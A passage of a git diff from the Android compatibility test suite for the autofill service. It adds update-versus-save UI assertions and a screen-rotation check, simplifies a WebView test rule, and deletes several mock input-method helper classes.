-        return assertSaveShowing(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, description, timeout,
-                types);
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                description, timeout, types);
     }
 
     UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
             int... types) throws Exception {
-        return assertSaveShowing(negativeButtonStyle, description, SAVE_TIMEOUT, types);
+        return assertSaveOrUpdateShowing(/* update= */ false, negativeButtonStyle, description,
+                SAVE_TIMEOUT, types);
     }
 
-    UiObject2 assertSaveShowing(int negativeButtonStyle, String description, Timeout timeout,
-            int... types) throws Exception {
+
+    UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle, String description,
+            Timeout timeout, int... types) throws Exception {
         final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
 
         final UiObject2 titleView =
@@ -517,13 +535,21 @@
         final String actualTitle = titleView.getText();
         Log.d(TAG, "save title: " + actualTitle);
 
+        final String titleId, titleWithTypeId;
+        if (update) {
+            titleId = RESOURCE_STRING_UPDATE_TITLE;
+            titleWithTypeId = RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE;
+        } else {
+            titleId = RESOURCE_STRING_SAVE_TITLE;
+            titleWithTypeId = RESOURCE_STRING_SAVE_TITLE_WITH_TYPE;
+        }
+
         final String serviceLabel = InstrumentedAutoFillService.getServiceLabel();
         switch (types.length) {
             case 1:
                 final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
-                        ? Html.fromHtml(getString(RESOURCE_STRING_SAVE_TITLE,
-                                serviceLabel), 0).toString()
-                        : Html.fromHtml(getString(RESOURCE_STRING_SAVE_TITLE_WITH_TYPE,
+                        ? Html.fromHtml(getString(titleId, serviceLabel), 0).toString()
+                        : Html.fromHtml(getString(titleWithTypeId,
                                 getSaveTypeString(types[0]), serviceLabel), 0).toString();
                 assertThat(actualTitle).isEqualTo(expectedTitle);
                 break;
@@ -547,6 +573,14 @@
             assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
         }
 
+        final String positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
+                : RESOURCE_STRING_SAVE_BUTTON_YES;
+        final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
+        final UiObject2 positiveButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
+        assertWithMessage("wrong text on positive button")
+                .that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
+
         final String negativeButtonStringId =
                 (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
                 ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
@@ -576,6 +610,11 @@
         saveForAutofill(saveSnackBar, yesDoIt);
     }
 
+    public void updateForAutofill(boolean yesDoIt, int... types) throws Exception {
+        final UiObject2 saveUi = assertUpdateShowing(types);
+        saveForAutofill(saveUi, yesDoIt);
+    }
+
     /**
      * Taps an option in the save snackbar.
      *
@@ -872,4 +911,18 @@
         final int booleanId = resources.getIdentifier(id, "bool", "android");
         return resources.getBoolean(booleanId);
     }
-}
+
+    /**
+     * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+     */
+    public boolean isScreenRotationSupported() {
+        try {
+            return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+        } catch (Resources.NotFoundException e) {
+            Log.d(TAG, "Resource not found: "
+                    + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+                    + ". Assume rotation supported");
+            return true;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index e51bbfc..08d4c70 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -17,8 +17,6 @@
 
 import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import android.content.Context;
 import android.os.Bundle;
 import android.os.SystemClock;
@@ -114,7 +112,6 @@
 
             });
             mWebView.loadUrl(FAKE_URL);
-            assertThat(mWebView.isAutofillEnabled()).isTrue();
         });
 
         // Wait until it's loaded.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 1a9ca43..9097841 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -29,7 +29,6 @@
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
 import android.view.KeyEvent;
 import android.view.ViewStructure.HtmlInfo;
 
@@ -43,27 +42,13 @@
 @AppModeFull(reason = "Flaky in instant mode")
 public class WebViewActivityTest extends AutoFillServiceTestCase {
 
-    private static final String TAG = "WebViewActivityTest";
-
     // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
     // set using accessibility.
     private static final boolean INJECT_EVENTS = true;
 
     @Rule
     public final AutofillActivityTestRule<WebViewActivity> mActivityRule =
-            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
-    // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
-    // disable autofill for optimization when it returns false, and unfortunately the value
-    // returned by that method does not change when the service is enabled / disabled, so we
-    // need to start enable the service before launching the activity.
-    // Once that's fixed, remove this overridden method.
-                @Override
-                protected void beforeActivityLaunched() {
-                    super.beforeActivityLaunched();
-                    Log.i(TAG, "Setting service before launching the activity");
-                    enableService();
-                }
-            };
+            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class);
 
     private WebViewActivity mActivity;
 
@@ -310,7 +295,7 @@
         mActivity.getLoginButton(mUiBot).click();
 
         // Assert save UI shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
         // Assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -427,7 +412,7 @@
         mActivity.getLoginButton(mUiBot).click();
 
         // Assert save UI shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
         // Assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java b/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
deleted file mode 100644
index ad81eb5..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-
-public final class ImeCommand {
-
-    private static final String NAME_KEY = "name";
-    private static final String ID_KEY = "id";
-    private static final String DISPATCH_TO_MAIN_THREAD_KEY = "dispatchToMainThread";
-    private static final String EXTRA_KEY = "extra";
-
-    @NonNull
-    private final String mName;
-    private final long mId;
-    private final boolean mDispatchToMainThread;
-    @NonNull
-    private final Bundle mExtras;
-
-    ImeCommand(@NonNull String name, long id, boolean dispatchToMainThread,
-            @NonNull Bundle extras) {
-        mName = name;
-        mId = id;
-        mDispatchToMainThread = dispatchToMainThread;
-        mExtras = extras;
-    }
-
-    private ImeCommand(@NonNull Bundle bundle) {
-        mName = bundle.getString(NAME_KEY);
-        mId = bundle.getLong(ID_KEY);
-        mDispatchToMainThread = bundle.getBoolean(DISPATCH_TO_MAIN_THREAD_KEY);
-        mExtras = bundle.getParcelable(EXTRA_KEY);
-    }
-
-    static ImeCommand fromBundle(@NonNull Bundle bundle) {
-        return new ImeCommand(bundle);
-    }
-
-    Bundle toBundle() {
-        final Bundle bundle = new Bundle();
-        bundle.putString(NAME_KEY, mName);
-        bundle.putLong(ID_KEY, mId);
-        bundle.putBoolean(DISPATCH_TO_MAIN_THREAD_KEY, mDispatchToMainThread);
-        bundle.putParcelable(EXTRA_KEY, mExtras);
-        return bundle;
-    }
-
-    @NonNull
-    public String getName() {
-        return mName;
-    }
-
-    public long getId() {
-        return mId;
-    }
-
-    public boolean shouldDispatchToMainThread() {
-        return mDispatchToMainThread;
-    }
-
-    @NonNull
-    public Bundle getExtras() {
-        return mExtras;
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
deleted file mode 100644
index d4090fb..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.inputmethodservice.AbstractInputMethodService;
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.view.View;
-
-/**
- * An immutable object that stores event happened in the {@link MockIme}.
- */
-public final class ImeEvent {
-
-    private enum ReturnType {
-        Null,
-        KnownUnsupportedType,
-        Boolean,
-    }
-
-    private static ReturnType getReturnTypeFromObject(@Nullable Object object) {
-        if (object == null) {
-            return ReturnType.Null;
-        }
-        if (object instanceof AbstractInputMethodService.AbstractInputMethodImpl) {
-            return ReturnType.KnownUnsupportedType;
-        }
-        if (object instanceof View) {
-            return ReturnType.KnownUnsupportedType;
-        }
-        if (object instanceof Boolean) {
-            return ReturnType.Boolean;
-        }
-        throw new UnsupportedOperationException("Unsupported return type=" + object);
-    }
-
-    ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName, int threadId,
-            boolean isMainThread, long enterTimestamp, long exitTimestamp, long enterWallTime,
-            long exitWallTime, @NonNull ImeState enterState, @Nullable ImeState exitState,
-            @NonNull Bundle arguments, @Nullable Object returnValue) {
-        this(eventName, nestLevel, threadName, threadId, isMainThread, enterTimestamp,
-                exitTimestamp, enterWallTime, exitWallTime, enterState, exitState, arguments,
-                returnValue, getReturnTypeFromObject(returnValue));
-    }
-
-    private ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName,
-            int threadId, boolean isMainThread, long enterTimestamp, long exitTimestamp,
-            long enterWallTime, long exitWallTime, @NonNull ImeState enterState,
-            @Nullable ImeState exitState, @NonNull Bundle arguments, @Nullable Object returnValue,
-            @NonNull ReturnType returnType) {
-        mEventName = eventName;
-        mNestLevel = nestLevel;
-        mThreadName = threadName;
-        mThreadId = threadId;
-        mIsMainThread = isMainThread;
-        mEnterTimestamp = enterTimestamp;
-        mExitTimestamp = exitTimestamp;
-        mEnterWallTime = enterWallTime;
-        mExitWallTime = exitWallTime;
-        mEnterState = enterState;
-        mExitState = exitState;
-        mArguments = arguments;
-        mReturnValue = returnValue;
-        mReturnType = returnType;
-    }
-
-    @NonNull
-    Bundle toBundle() {
-        final Bundle bundle = new Bundle();
-        bundle.putString("mEventName", mEventName);
-        bundle.putInt("mNestLevel", mNestLevel);
-        bundle.putString("mThreadName", mThreadName);
-        bundle.putInt("mThreadId", mThreadId);
-        bundle.putBoolean("mIsMainThread", mIsMainThread);
-        bundle.putLong("mEnterTimestamp", mEnterTimestamp);
-        bundle.putLong("mExitTimestamp", mExitTimestamp);
-        bundle.putLong("mEnterWallTime", mEnterWallTime);
-        bundle.putLong("mExitWallTime", mExitWallTime);
-        bundle.putBundle("mEnterState", mEnterState.toBundle());
-        bundle.putBundle("mExitState", mExitState != null ? mExitState.toBundle() : null);
-        bundle.putBundle("mArguments", mArguments);
-        bundle.putString("mReturnType", mReturnType.name());
-        switch (mReturnType) {
-            case Null:
-            case KnownUnsupportedType:
-                break;
-            case Boolean:
-                bundle.putBoolean("mReturnValue", getReturnBooleanValue());
-                break;
-            default:
-                throw new UnsupportedOperationException("Unsupported type=" + mReturnType);
-        }
-        return bundle;
-    }
-
-    @NonNull
-    static ImeEvent fromBundle(@NonNull Bundle bundle) {
-        final String eventName = bundle.getString("mEventName");
-        final int nestLevel = bundle.getInt("mNestLevel");
-        final String threadName = bundle.getString("mThreadName");
-        final int threadId = bundle.getInt("mThreadId");
-        final boolean isMainThread = bundle.getBoolean("mIsMainThread");
-        final long enterTimestamp = bundle.getLong("mEnterTimestamp");
-        final long exitTimestamp = bundle.getLong("mExitTimestamp");
-        final long enterWallTime = bundle.getLong("mEnterWallTime");
-        final long exitWallTime = bundle.getLong("mExitWallTime");
-        final ImeState enterState = ImeState.fromBundle(bundle.getBundle("mEnterState"));
-        final ImeState exitState = ImeState.fromBundle(bundle.getBundle("mExitState"));
-        final Bundle arguments = bundle.getBundle("mArguments");
-        final Object result;
-        final ReturnType returnType = ReturnType.valueOf(bundle.getString("mReturnType"));
-        switch (returnType) {
-            case Null:
-            case KnownUnsupportedType:
-                result = null;
-                break;
-            case Boolean:
-                result = bundle.getBoolean("mReturnValue");
-                break;
-            default:
-                throw new UnsupportedOperationException("Unsupported type=" + returnType);
-        }
-        return new ImeEvent(eventName, nestLevel, threadName,
-                threadId, isMainThread, enterTimestamp, exitTimestamp, enterWallTime, exitWallTime,
-                enterState, exitState, arguments, result, returnType);
-    }
-
-    /**
-     * Returns a string that represents the type of this event.
-     *
-     * <p>Examples: &quot;onCreate&quot;, &quot;onStartInput&quot;, ...</p>
-     *
-     * <p>TODO: Use enum type or something like that instead of raw String type.</p>
-     * @return A string that represents the type of this event.
-     */
-    @NonNull
-    public String getEventName() {
-        return mEventName;
-    }
-
-    /**
-     * Returns the nest level of this event.
-     *
-     * <p>For instance, when &quot;showSoftInput&quot; internally calls
-     * &quot;onStartInputView&quot;, the event for &quot;onStartInputView&quot; has 1 level higher
-     * nest level than &quot;showSoftInput&quot;.</p>
-     */
-    public int getNestLevel() {
-        return mNestLevel;
-    }
-
-    /**
-     * @return Name of the thread, where the event was consumed.
-     */
-    @NonNull
-    public String getThreadName() {
-        return mThreadName;
-    }
-
-    /**
-     * @return Thread ID (TID) of the thread, where the event was consumed.
-     */
-    public int getThreadId() {
-        return mThreadId;
-    }
-
-    /**
-     * @return {@code true} if the event was being consumed in the main thread.
-     */
-    public boolean isMainThread() {
-        return mIsMainThread;
-    }
-
-    /**
-     * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
-     *         the corresponding event handler was called back.
-     */
-    public long getEnterTimestamp() {
-        return mEnterTimestamp;
-    }
-
-    /**
-     * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
-     *         the corresponding event handler finished.
-     */
-    public long getExitTimestamp() {
-        return mExitTimestamp;
-    }
-
-    /**
-     * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
-     *         event handler was called back.
-     */
-    public long getEnterWallTime() {
-        return mEnterWallTime;
-    }
-
-    /**
-     * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
-     *         event handler finished.
-     */
-    public long getExitWallTime() {
-        return mExitWallTime;
-    }
-
-    /**
-     * @return IME state snapshot taken when the corresponding event handler was called back.
-     */
-    @NonNull
-    public ImeState getEnterState() {
-        return mEnterState;
-    }
-
-    /**
-     * @return IME state snapshot taken when the corresponding event handler finished.
-     */
-    @Nullable
-    public ImeState getExitState() {
-        return mExitState;
-    }
-
-    /**
-     * @return {@link Bundle} that stores parameters passed to the corresponding event handler.
-     */
-    @NonNull
-    public Bundle getArguments() {
-        return mArguments;
-    }
-
-    /**
-     * @return result value of this event.
-     * @throws NullPointerException if the return value is {@code null}
-     * @throws ClassCastException if the return value is non-{@code null} object that is different
-     *                            from {@link Boolean}
-     */
-    public boolean getReturnBooleanValue() {
-        if (mReturnType == ReturnType.Null) {
-            throw new NullPointerException();
-        }
-        if (mReturnType != ReturnType.Boolean) {
-            throw new ClassCastException();
-        }
-        return (Boolean) mReturnValue;
-    }
-
-    /**
-     * @return {@code true} if the event is issued when the event starts, not when the event
-     * finishes.
-     */
-    public boolean isEnterEvent() {
-        return mExitState == null;
-    }
-
-    @NonNull
-    private final String mEventName;
-    private final int mNestLevel;
-    @NonNull
-    private final String mThreadName;
-    private final int mThreadId;
-    private final boolean mIsMainThread;
-    private final long mEnterTimestamp;
-    private final long mExitTimestamp;
-    private final long mEnterWallTime;
-    private final long mExitWallTime;
-    @NonNull
-    private final ImeState mEnterState;
-    @Nullable
-    private final ImeState mExitState;
-    @NonNull
-    private final Bundle mArguments;
-    @Nullable
-    private final Object mReturnValue;
-    @NonNull
-    private final ReturnType mReturnType;
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
deleted file mode 100644
index d866da0..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.IntRange;
-import androidx.annotation.NonNull;
-import android.view.inputmethod.EditorInfo;
-
-import java.time.Instant;
-import java.time.ZoneId;
-import java.time.format.DateTimeFormatter;
-import java.util.Arrays;
-import java.util.Optional;
-import java.util.function.Predicate;
-import java.util.function.Supplier;
-
-/**
- * A utility class that provides basic query operations and wait primitives for a series of
- * {@link ImeEvent} sent from the {@link MockIme}.
- *
- * <p>All public methods are not thread-safe.</p>
- */
-public final class ImeEventStream {
-
-    private static final String LONG_LONG_SPACES = "                                        ";
-
-    private static DateTimeFormatter sSimpleDateTimeFormatter =
-            DateTimeFormatter.ofPattern("MM-dd HH:mm:ss.SSS").withZone(ZoneId.systemDefault());
-
-    @NonNull
-    private final Supplier<ImeEventArray> mEventSupplier;
-    private int mCurrentPosition;
-
-    ImeEventStream(@NonNull Supplier<ImeEventArray> supplier) {
-        this(supplier, 0 /* position */);
-    }
-
-    private ImeEventStream(@NonNull Supplier<ImeEventArray> supplier, int position) {
-        mEventSupplier = supplier;
-        mCurrentPosition = position;
-    }
-
-    /**
-     * Create a copy that starts from the same event position of this stream. Once a copy is created
-     * further event position change on this stream will not affect the copy.
-     *
-     * @return A new copy of this stream
-     */
-    public ImeEventStream copy() {
-        return new ImeEventStream(mEventSupplier, mCurrentPosition);
-    }
-
-    /**
-     * Advances the current event position by skipping events.
-     *
-     * @param length number of events to be skipped
-     * @throws IllegalArgumentException {@code length} is negative
-     */
-    public void skip(@IntRange(from = 0) int length) {
-        if (length < 0) {
-            throw new IllegalArgumentException("length cannot be negative: " + length);
-        }
-        mCurrentPosition += length;
-    }
-
-    /**
-     * Advances the current event position to the next to the last position.
-     */
-    public void skipAll() {
-        mCurrentPosition = mEventSupplier.get().mLength;
-    }
-
-    /**
-     * Find the first event that matches the given condition from the current position.
-     *
-     * <p>If there is such an event, this method returns such an event without moving the current
-     * event position.</p>
-     *
-     * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
-     * current event position.</p>
-     *
-     * @param condition the event condition to be matched
-     * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
-     *         returned
-     */
-    @NonNull
-    public Optional<ImeEvent> findFirst(Predicate<ImeEvent> condition) {
-        final ImeEventArray latest = mEventSupplier.get();
-        int index = mCurrentPosition;
-        while (true) {
-            if (index >= latest.mLength) {
-                return Optional.empty();
-            }
-            if (condition.test(latest.mArray[index])) {
-                return Optional.of(latest.mArray[index]);
-            }
-            ++index;
-        }
-    }
-
-    /**
-     * Find the first event that matches the given condition from the current position.
-     *
-     * <p>If there is such an event, this method returns such an event and set the current event
-     * position to that event.</p>
-     *
-     * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
-     * current event position.</p>
-     *
-     * @param condition the event condition to be matched
-     * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
-     *         returned
-     */
-    @NonNull
-    public Optional<ImeEvent> seekToFirst(Predicate<ImeEvent> condition) {
-        final ImeEventArray latest = mEventSupplier.get();
-        while (true) {
-            if (mCurrentPosition >= latest.mLength) {
-                return Optional.empty();
-            }
-            if (condition.test(latest.mArray[mCurrentPosition])) {
-                return Optional.of(latest.mArray[mCurrentPosition]);
-            }
-            ++mCurrentPosition;
-        }
-    }
-
-    private static void dumpEvent(@NonNull StringBuilder sb, @NonNull ImeEvent event,
-            boolean fused) {
-        final String indentation = getWhiteSpaces(event.getNestLevel() * 2 + 2);
-        final long wallTime =
-                fused ? event.getEnterWallTime() :
-                        event.isEnterEvent() ? event.getEnterWallTime() : event.getExitWallTime();
-        sb.append(sSimpleDateTimeFormatter.format(Instant.ofEpochMilli(wallTime)))
-                .append("  ")
-                .append(String.format("%5d", event.getThreadId()))
-                .append(indentation);
-        sb.append(fused ? "" : event.isEnterEvent() ? "[" : "]");
-        if (fused || event.isEnterEvent()) {
-            sb.append(event.getEventName())
-                    .append(':')
-                    .append(" args=");
-            dumpBundle(sb, event.getArguments());
-        }
-        sb.append('\n');
-    }
-
-    /**
-     * @return Debug info as a {@link String}.
-     */
-    public String dump() {
-        final ImeEventArray latest = mEventSupplier.get();
-        final StringBuilder sb = new StringBuilder();
-        sb.append("ImeEventStream:\n");
-        sb.append("  latest: array[").append(latest.mArray.length).append("] + {\n");
-        for (int i = 0; i < latest.mLength; ++i) {
-            // To compress the dump message, if the current event is an enter event and the next
-            // one is a corresponding exit event, we unify the output.
-            final boolean fused = areEnterExitPairedMessages(latest, i);
-            if (i == mCurrentPosition || (fused && ((i + 1) == mCurrentPosition))) {
-                sb.append("  ======== CurrentPosition ========  \n");
-            }
-            dumpEvent(sb, latest.mArray[fused ? ++i : i], fused);
-        }
-        if (mCurrentPosition >= latest.mLength) {
-            sb.append("  ======== CurrentPosition ========  \n");
-        }
-        sb.append("}\n");
-        return sb.toString();
-    }
-
-    /**
-     * @param array event array to be checked
-     * @param i index to be checked
-     * @return {@code true} if {@code array.mArray[i]} and {@code array.mArray[i + 1]} are two
-     *         paired events.
-     */
-    private static boolean areEnterExitPairedMessages(@NonNull ImeEventArray array,
-            @IntRange(from = 0) int i) {
-        return array.mArray[i] != null
-                && array.mArray[i].isEnterEvent()
-                && (i + 1) < array.mLength
-                && array.mArray[i + 1] != null
-                && array.mArray[i].getEventName().equals(array.mArray[i + 1].getEventName())
-                && array.mArray[i].getEnterTimestamp() == array.mArray[i + 1].getEnterTimestamp();
-    }
-
-    /**
-     * @param length length of the requested white space string
-     * @return {@link String} object whose length is {@code length}
-     */
-    private static String getWhiteSpaces(@IntRange(from = 0) final int length) {
-        if (length < LONG_LONG_SPACES.length()) {
-            return LONG_LONG_SPACES.substring(0, length);
-        }
-        final char[] indentationChars = new char[length];
-        Arrays.fill(indentationChars, ' ');
-        return new String(indentationChars);
-    }
-
-    private static void dumpBundle(@NonNull StringBuilder sb, @NonNull Bundle bundle) {
-        sb.append('{');
-        boolean first = true;
-        for (String key : bundle.keySet()) {
-            if (first) {
-                first = false;
-            } else {
-                sb.append(' ');
-            }
-            final Object object = bundle.get(key);
-            sb.append(key);
-            sb.append('=');
-            if (object instanceof EditorInfo) {
-                final EditorInfo info = (EditorInfo) object;
-                sb.append("EditorInfo{packageName=").append(info.packageName);
-                sb.append(" fieldId=").append(info.fieldId);
-                sb.append(" hintText=").append(info.hintText);
-                sb.append(" privateImeOptions=").append(info.privateImeOptions);
-                sb.append("}");
-            } else {
-                sb.append(object);
-            }
-        }
-        sb.append('}');
-    }
-
-    static class ImeEventArray {
-        @NonNull
-        public final ImeEvent[] mArray;
-        public final int mLength;
-        ImeEventArray(ImeEvent[] array, int length) {
-            mArray = array;
-            mLength = length;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
deleted file mode 100644
index 8497268..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ /dev/null
@@ -1,329 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.text.TextUtils;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputBinding;
-
-import java.util.Optional;
-import java.util.concurrent.TimeoutException;
-import java.util.function.Predicate;
-
-/**
- * A set of utility methods to avoid boilerplate code when writing end-to-end tests.
- */
-public final class ImeEventStreamTestUtils {
-    private static final long TIME_SLICE = 50;  // msec
-
-    /**
-     * Cannot be instantiated
-     */
-    private ImeEventStreamTestUtils() {}
-
-    /**
-     * Behavior mode of {@link #expectEvent(ImeEventStream, Predicate, EventFilterMode, long)}
-     */
-    public enum EventFilterMode {
-        /**
-         * All {@link ImeEvent} events should be checked
-         */
-        CHECK_ALL,
-        /**
-         * Only events that return {@code true} from {@link ImeEvent#isEnterEvent()} should be
-         * checked
-         */
-        CHECK_ENTER_EVENT_ONLY,
-        /**
-         * Only events that return {@code false} from {@link ImeEvent#isEnterEvent()} should be
-         * checked
-         */
-        CHECK_EXIT_EVENT_ONLY,
-    }
-
-    /**
-     * Wait until an event that matches the given {@code condition} is found in the stream.
-     *
-     * <p>When this method succeeds to find an event that matches the given {@code condition}, the
-     * stream position will be set to the next to the found object then the event found is returned.
-     * </p>
-     *
-     * <p>For convenience, this method automatically filter out exit events (events that return
-     * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
-     *
-     * <p>TODO: Consider renaming this to {@code expectEventEnter} or something like that.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param timeout timeout in millisecond
-     * @return {@link ImeEvent} found
-     * @throws TimeoutException when the no event is matched to the given condition within
-     *                          {@code timeout}
-     */
-    @NonNull
-    public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, long timeout) throws TimeoutException {
-        return expectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
-    }
-
-    /**
-     * Wait until an event that matches the given {@code condition} is found in the stream.
-     *
-     * <p>When this method succeeds to find an event that matches the given {@code condition}, the
-     * stream position will be set to the next to the found object then the event found is returned.
-     * </p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param filterMode controls how events are filtered out
-     * @param timeout timeout in millisecond
-     * @return {@link ImeEvent} found
-     * @throws TimeoutException when the no event is matched to the given condition within
-     *                          {@code timeout}
-     */
-    @NonNull
-    public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout)
-            throws TimeoutException {
-        try {
-            Optional<ImeEvent> result;
-            while (true) {
-                if (timeout < 0) {
-                    throw new TimeoutException(
-                            "event not found within the timeout: " + stream.dump());
-                }
-                final Predicate<ImeEvent> combinedCondition;
-                switch (filterMode) {
-                    case CHECK_ALL:
-                        combinedCondition = condition;
-                        break;
-                    case CHECK_ENTER_EVENT_ONLY:
-                        combinedCondition = event -> event.isEnterEvent() && condition.test(event);
-                        break;
-                    case CHECK_EXIT_EVENT_ONLY:
-                        combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
-                        break;
-                    default:
-                        throw new IllegalArgumentException("Unknown filterMode " + filterMode);
-                }
-                result = stream.seekToFirst(combinedCondition);
-                if (result.isPresent()) {
-                    break;
-                }
-                Thread.sleep(TIME_SLICE);
-                timeout -= TIME_SLICE;
-            }
-            final ImeEvent event = result.get();
-            if (event == null) {
-                throw new NullPointerException("found event is null: " + stream.dump());
-            }
-            stream.skip(1);
-            return event;
-        } catch (InterruptedException e) {
-            throw new RuntimeException("expectEvent failed: " + stream.dump(), e);
-        }
-    }
-
-    /**
-     * Checks if {@param eventName} has occurred on the EditText(or TextView) of the current
-     * activity.
-     * @param eventName event name to check
